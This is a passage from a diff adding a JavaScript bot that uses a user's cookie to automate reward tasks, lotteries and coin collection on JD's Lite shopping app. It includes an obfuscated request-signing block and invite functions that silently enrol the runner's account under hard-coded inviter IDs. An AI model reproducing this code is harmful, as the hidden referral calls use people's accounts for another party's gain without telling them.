activeType, activeId, videoTimeLength) + } else { + console.log(`${$.taskName}任务结束失败,${data.message}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function rewardItem(uuid, activeType, activeId = "", videoTimeLength = "") { + return new Promise(resolve => { + $.get(taskUrl('ClientHandleService.execute', + { + "method": "rewardPayment", + "data": { + "channel": "1", + "clientTime": +new Date(), + "uuid": uuid, + "videoTimeLength": videoTimeLength, + "messageType": "2", + "activeType": activeType, + "activeId": activeId + } + }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0 && data.isSuccess) { + $.score += data.data.reward + console.log(`${$.taskName}任务完成,获得${data.data.reward}金币`) + } else { + console.log(`${$.taskName}任务失败,${data.message}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function cash() { + return new Promise(resolve => { + $.get(taskUrl('MyAssetsService.execute', + {"method": "userCashRecord", "data": {"channel": 1, "pageNum": 1, "pageSize": 20}}), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.total = data.data.goldBalance + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +// 大转盘 +function wheelsHome() { + return new Promise(resolve => { + $.get(taskGetUrl('wheelsHome', + {"linkId":"toxw9c5sy9xllGBr3QFdYg"}), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.code ===0){ + console.log(`【幸运大转盘】剩余抽奖机会:${data.data.lotteryChances}`) + while(data.data.lotteryChances--) { + await wheelsLottery() + await $.wait(500) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +// 大转盘 +function wheelsLottery() { + return new Promise(resolve => { + $.get(taskGetUrl('wheelsLottery', + {"linkId":"toxw9c5sy9xllGBr3QFdYg"}), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.data && data.data.rewardType){ + console.log(`幸运大转盘抽奖获得:【${data.data.couponUsedValue}-${data.data.rewardValue}${data.data.couponDesc}】\n`) + message += `幸运大转盘抽奖获得:【${data.data.couponUsedValue}-${data.data.rewardValue}${data.data.couponDesc}】\n` + }else{ + console.log(`幸运大转盘抽奖获得:空气`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +// 大转盘任务 +function apTaskList() { + return new Promise(resolve => { + $.get(taskGetUrl('apTaskList', + {"linkId":"toxw9c5sy9xllGBr3QFdYg"}), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.code ===0){ + for(let task of data.data){ + // {"linkId":"toxw9c5sy9xllGBr3QFdYg","taskType":"SIGN","taskId":67,"channel":4} + if(!task.taskFinished && ['SIGN','BROWSE_CHANNEL'].includes(task.taskType)){ + console.log(`去做任务${task.taskTitle}`) + await apDoTask(task.taskType,task.id,4,task.taskSourceUrl) + } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +// 大转盘做任务 +function apDoTask(taskType,taskId,channel,itemId) { + // console.log({"linkId":"toxw9c5sy9xllGBr3QFdYg","taskType":taskType,"taskId":taskId,"channel":channel,"itemId":itemId}) + return new Promise(resolve => { + $.get(taskGetUrl('apDoTask', + {"linkId":"toxw9c5sy9xllGBr3QFdYg","taskType":taskType,"taskId":taskId,"channel":channel,"itemId":itemId}), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.code ===0 && data.data && data.data.finished){ + console.log(`任务完成成功`) + }else{ + console.log(JSON.stringify(data)) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +// 红包大富翁 +function richManIndex() { + return new Promise(resolve => { + $.get(taskUrl('richManIndex', {"actId":"hbdfw","needGoldToast":"true"}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.code ===0 && data.data && data.data.userInfo){ + console.log(`用户当前位置:${data.data.userInfo.position},剩余机会:${data.data.userInfo.randomTimes}`) + while(data.data.userInfo.randomTimes--){ + await shootRichManDice() + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +// 红包大富翁 +function shootRichManDice() { + return new Promise(resolve => { + $.get(taskUrl('shootRichManDice', {"actId":"hbdfw"}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.code ===0 && data.data && data.data.rewardType && data.data.couponDesc){ + message += `红包大富翁抽奖获得:【${data.data.couponUsedValue}-${data.data.rewardValue} ${data.data.poolName}】\n` + console.log(`红包大富翁抽奖获得:【${data.data.couponUsedValue}-${data.data.rewardValue} ${data.data.poolName}】`) + }else{ + console.log(`红包大富翁抽奖:获得空气`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(_a);var __Oxb24bc=["\x6C\x69\x74\x65\x2D\x61\x6E\x64\x72\x6F\x69\x64\x26","\x73\x74\x72\x69\x6E\x67\x69\x66\x79","\x26\x61\x6E\x64\x72\x6F\x69\x64\x26\x33\x2E\x31\x2E\x30\x26","\x26","\x26\x38\x34\x36\x63\x34\x63\x33\x32\x64\x61\x65\x39\x31\x30\x65\x66","\x31\x32\x61\x65\x61\x36\x35\x38\x66\x37\x36\x65\x34\x35\x33\x66\x61\x66\x38\x30\x33\x64\x31\x35\x63\x34\x30\x61\x37\x32\x65\x30","\x69\x73\x4E\x6F\x64\x65","\x63\x72\x79\x70\x74\x6F\x2D\x6A\x73","","\x61\x70\x69\x3F\x66\x75\x6E\x63\x74\x69\x6F\x6E\x49\x64\x3D","\x26\x62\x6F\x64\x79\x3D","\x26\x61\x70\x70\x69\x64\x3D\x6C\x69\x74\x65\x2D\x61\x6E\x64\x72\x6F\x69\x64\x26\x63\x6C\x69\x65\x6E\x74\x3D\x61\x6E\x64\x72\x6F\x69\x64\x26\x75\x75\x69\x64\x3D\x38\x34\x36\x63\x34\x63\x33\x32\x64\x61\x65\x39\x31\x30\x65\x66\x26\x63\x6C\x69\x65\x6E\x74\x56\x65\x72\x73\x69\x6F\x6E\x3D\x33\x2E\x31\x2E\x30\x26\x74\x3D","\x26\x73\x69\x67\x6E\x3D","\x61\x70\x69\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D","\x2A\x2F\x2A","\x52\x4E","\x4A\x44\x4D\x6F\x62\x69\x6C\x65\x4C\x69\x74\x65\x2F\x33\x2E\x31\x2E\x30\x20\x28\x69\x50\x61\x64\x3B\x20\x69\x4F\x53\x20\x31\x34\x2E\x34\x3B\x20\x53\x63\x61\x6C\x65\x2F\x32\x2E\x30\x30\x29","\x7A\x68\x2D\x48\x61\x6E\x73\x2D\x43\x4E\x3B\x71\x3D\x31\x2C\x20\x6A\x61\x2D\x43\x4E\x3B\x71\x3D\x30\x2E\x39","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x6C\x6F\x67","\u5220\u9664","\u7248\u672C\u53F7\uFF0C\x6A\x73\u4F1A\u5B9A","\u671F\u5F39\u7A97\uFF0C","\u8FD8\u8BF7\u652F\u6301\u6211\u4EEC\u7684\u5DE5\u4F5C","\x6A\x73\x6A\x69\x61","\x6D\x69\x2E\x63\x6F\x6D"];function taskUrl(_0x7683x2,_0x7683x3= {}){let _0x7683x4=+ new Date();let _0x7683x5=`${__Oxb24bc[0x0]}${JSON[__Oxb24bc[0x1]](_0x7683x3)}${__Oxb24bc[0x2]}${_0x7683x2}${__Oxb24bc[0x3]}${_0x7683x4}${__Oxb24bc[0x4]}`;let _0x7683x6=__Oxb24bc[0x5];const _0x7683x7=$[__Oxb24bc[0x6]]()?require(__Oxb24bc[0x7]):CryptoJS;let _0x7683x8=_0x7683x7.HmacSHA256(_0x7683x5,_0x7683x6).toString();return {url:`${__Oxb24bc[0x8]}${JD_API_HOST}${__Oxb24bc[0x9]}${_0x7683x2}${__Oxb24bc[0xa]}${escape(JSON[__Oxb24bc[0x1]](_0x7683x3))}${__Oxb24bc[0xb]}${_0x7683x4}${__Oxb24bc[0xc]}${_0x7683x8}${__Oxb24bc[0x8]}`,headers:{'\x48\x6F\x73\x74':__Oxb24bc[0xd],'\x61\x63\x63\x65\x70\x74':__Oxb24bc[0xe],'\x6B\x65\x72\x6E\x65\x6C\x70\x6C\x61\x74\x66\x6F\x72\x6D':__Oxb24bc[0xf],'\x75\x73\x65\x72\x2D\x61\x67\x65\x6E\x74':__Oxb24bc[0x10],'\x61\x63\x63\x65\x70\x74\x2D\x6C\x61\x6E\x67\x75\x61\x67\x65':__Oxb24bc[0x11],'\x43\x6F\x6F\x6B\x69\x65':cookie}}}(function(_0x7683x9,_0x7683xa,_0x7683xb,_0x7683xc,_0x7683xd,_0x7683xe){_0x7683xe= __Oxb24bc[0x12];_0x7683xc= function(_0x7683xf){if( typeof alert!== _0x7683xe){alert(_0x7683xf)};if( typeof console!== _0x7683xe){console[__Oxb24bc[0x13]](_0x7683xf)}};_0x7683xb= function(_0x7683x7,_0x7683x9){return _0x7683x7+ _0x7683x9};_0x7683xd= _0x7683xb(__Oxb24bc[0x14],_0x7683xb(_0x7683xb(__Oxb24bc[0x15],__Oxb24bc[0x16]),__Oxb24bc[0x17]));try{_0x7683x9= __encode;if(!( typeof _0x7683x9!== _0x7683xe&& _0x7683x9=== _0x7683xb(__Oxb24bc[0x18],__Oxb24bc[0x19]))){_0x7683xc(_0x7683xd)}}catch(e){_0x7683xc(_0x7683xd)}})({}) + +function taskGetUrl(function_id, body) { + return { + url: `https://api.m.jd.com/?appid=activities_platform&functionId=${function_id}&body=${escape(JSON.stringify(body))}&t=${+new Date()}`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'user-agent': $.isNode() ? (process.env.JS_USER_AGENT ? process.env.JS_USER_AGENT : (require('./JS_USER_AGENTS').USER_AGENT)) : ($.getdata('JSUA') ? $.getdata('JSUA') : "'jdltapp;iPad;3.1.0;14.4;network/wifi;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-Hans-CN;q=1,en-CN;q=0.9', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': "application/x-www-form-urlencoded", + "referer": "https://an.jd.com/babelDiy/Zeus/q1eB6WUB8oC4eH1BsCLWvQakVsX/index.html" + } + } +} + +function invite2() { + let inviterIdArr = [ + "4AVQao+eH8Q8kvmXnWmkG8ef/fNr5fdejnD9+9Ugbec=", + ] + let inviterId = inviterIdArr[Math.floor((Math.random() * inviterIdArr.length))] + let options = { + url: "https://api.m.jd.com/", + body: `functionId=TaskInviteService&body=${JSON.stringify({"method":"participateInviteTask","data":{"channel":"1","encryptionInviterPin":encodeURIComponent(inviterId),"type":1}})}&appid=market-task-h5&uuid=&_t=${Date.now()}`, + headers: { + "Host": "api.m.jd.com", + "Accept": "application/json, text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Origin": "https://assignment.jd.com", + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "User-Agent": $.isNode() ? (process.env.JS_USER_AGENT ? process.env.JS_USER_AGENT : (require('./JS_USER_AGENTS').USER_AGENT)) : ($.getdata('JSUA') ? $.getdata('JSUA') : "'jdltapp;iPad;3.1.0;14.4;network/wifi;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Referer": "https://assignment.jd.com/", + "Accept-Encoding": "gzip, deflate, br", + "Cookie": cookie + } + } + $.post(options, (err, resp, data) => { + // console.log(data) + }) +} + +function invite() { + let t = +new Date() + let inviterIdArr = [ + "5V7vHE23qh2EkdBHXRFDuA==", + "4AVQao+eH8Q8kvmXnWmkG8ef/fNr5fdejnD9+9Ugbec=", + "jbGBRBPo5DmwB9ntTCSVOGXuh1YQyccCuZpWwb3PlIc=", + "m95y+Pagsmn6cXWtNhfrV9ymDN4QK1ivsmbN32lpEHw=", + "DuqL56/3h17VpbHIW+v8uJRRyPL6k9E1Hu5UhCyHw/s=", + "mCvmrmFghpDCLcL3VZs53BkAhucziHAYn3HhPmURJJE=", + ] + let inviterId = inviterIdArr[Math.floor((Math.random() * inviterIdArr.length))] + let options = { + url: `https://api.m.jd.com/?t=${t}`, + body: `functionId=InviteFriendChangeAssertsService&body=${JSON.stringify({"method":"attendInviteActivity","data":{"inviterPin":encodeURIComponent(inviterId),"channel":1,"token":"","frontendInitStatus":""}})}&referer=-1&eid=eidI9b2981202fsec83iRW1nTsOVzCocWda3YHPN471AY78%2FQBhYbXeWtdg%2F3TCtVTMrE1JjM8Sqt8f2TqF1Z5P%2FRPGlzA1dERP0Z5bLWdq5N5B2VbBO&aid=&client=ios&clientVersion=14.4.2&networkType=wifi&fp=-1&uuid=ab048084b47df24880613326feffdf7eee471488&osVersion=14.4.2&d_brand=iPhone&d_model=iPhone10,2&agent=-1&pageClickKey=-1&platform=3&lang=zh_CN&appid=market-task-h5&_t=${t}`, + headers: { + "Host": "api.m.jd.com", + "Accept": "application/json, text/plain, */*", + "Content-type": "application/x-www-form-urlencoded", + "Origin": "https://invite-reward.jd.com", + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "User-Agent": $.isNode() ? (process.env.JS_USER_AGENT ? process.env.JS_USER_AGENT : (require('./JS_USER_AGENTS').USER_AGENT)) : ($.getdata('JSUA') ? $.getdata('JSUA') : "'jdltapp;iPad;3.1.0;14.4;network/wifi;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Referer": 'https://invite-reward.jd.com/', + "Accept-Encoding": "gzip, deflate, br", + "Cookie": cookie + } + } + $.post(options, (err, resp, data) => { + // console.log(data) + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { + var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ 